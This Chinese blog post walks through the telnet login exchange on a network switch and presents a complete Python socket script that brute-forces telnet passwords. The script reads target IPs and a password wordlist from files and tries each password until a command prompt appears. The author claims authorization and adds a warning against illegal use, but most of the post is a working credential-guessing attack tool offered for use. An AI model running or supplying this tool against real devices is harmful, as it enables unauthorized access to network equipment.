【python--程序】telnet密码暴力破解

前言

最近博主单位的网络出现了故障,想要登陆到交换机中发现有密码。然而密码没有人知道,这可真难为人!博主第一时间想到的是hydra暴力破解工具,然而发现不支持密码验证的telnet。在获取领导的授权下,博主使用socket编写一款telnet密码爆破工具。警告:该程序仅供学习telnet协议工作原理,禁止用于违法行为。

环境分析

交换机的管理地址是:192.168.133.130
博主使用的地址是:192.168.133.1
使用crt登陆时的显示画面如下:
在这里插入图片描述通过wireshark抓包分析,我们大概得知了telnet的工作过程

在这里插入图片描述登陆过程如下:
第一步:首先客户端发送\r\n开始telnet登陆
第二步:服务器返回验证的方式
第三步:客户端输入验证的密码
第四步:服务器返回登陆结果

代码

# -*- coding:utf-8 -*-
#作者:猫先生的早茶
"""
从ip.txt文件中获取ip地址
从passowrd.txt文件中获取密码
尝试破解使用密码验证的telnet
"""

import socket,sys,time

class Telnet():
    def __init__(self):
        pass
        
    def read_file(self,filename):
        with open (filename,'r',encoding='utf-8') as read_file:
            return read_file.read().split('\n')

    def login(self,ip,password_list,port=23):
        #创建客户端对象
        client = socket.socket()
        client.settimeout(30)
        #连接到目标主机
        try:
            client.connect((ip,port))
        except:
            print ("[-]Don't connect {}:{}".format(ip,port))
            sys.exit()
        else:
            print ('[+]Connect Sussful!')
        #发送\r\n等待1秒服务端回应登陆方式
        client.send(b'\r\n')
        time.sleep(1)
        print ('[+]等待服务器响应中。。。')
        #接受服务器回应的数据
        data = client.recv(65535)
        print (data)
        #检测是否要输入密码
        if b'Password' in data:
            for password in password_list:
                #输入密码
                print ('[-]正在尝试使用密码:{} 登陆{}'.format(password,ip))
                client.send(password.encode('utf-8')+b'\r\n')
                #接受服务器返回的数据
                time.sleep(1)
                print ('[+]等待服务器回应中。。。')
                #清楚缓存并接受服务器数据
                temp_data =b''
                temp_data = client.recv(8192)
                print (temp_data)
                #判断登陆成功,如果成功则退出破解
                if b'>' in temp_data:
                    print ("[+]Login Sussful!{}:{} password:{}".format(ip,port,password))
                    break
                #判断接受到的是报错信息
                if b'Error: The password is invalid.'in temp_data  or b'%Username or password is invalid.' in temp_data and  b'Password:'not in temp_data:
                    while True:
                        #当收到错误信息,发送\r\n模拟用户敲回车
                        #client.close()
                        #创建客户端对象
                        #client = socket.socket()
                        #client.connect((ip,port))
                        client.send(b'\r\n')
                        time.sleep(1)
                        #清除缓存
                        temp_data = b''
                        #接受用户数据
                        temp_data = client.recv(8192)
                        print (temp_data)
                        #检测是否可以输入密码
                        if b'Password:' in temp_data:
                            break
                
        
    def main(self):
        #读取ip文件
        ip_list = self.read_file('ip.txt')
        #读取密码文件
        password_list = self.read_file('password.txt')
        #尝试登陆
        for ip in ip_list[:1]:
            self.login(ip,password_list)
        
        
telnet = Telnet()
telnet.main()
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值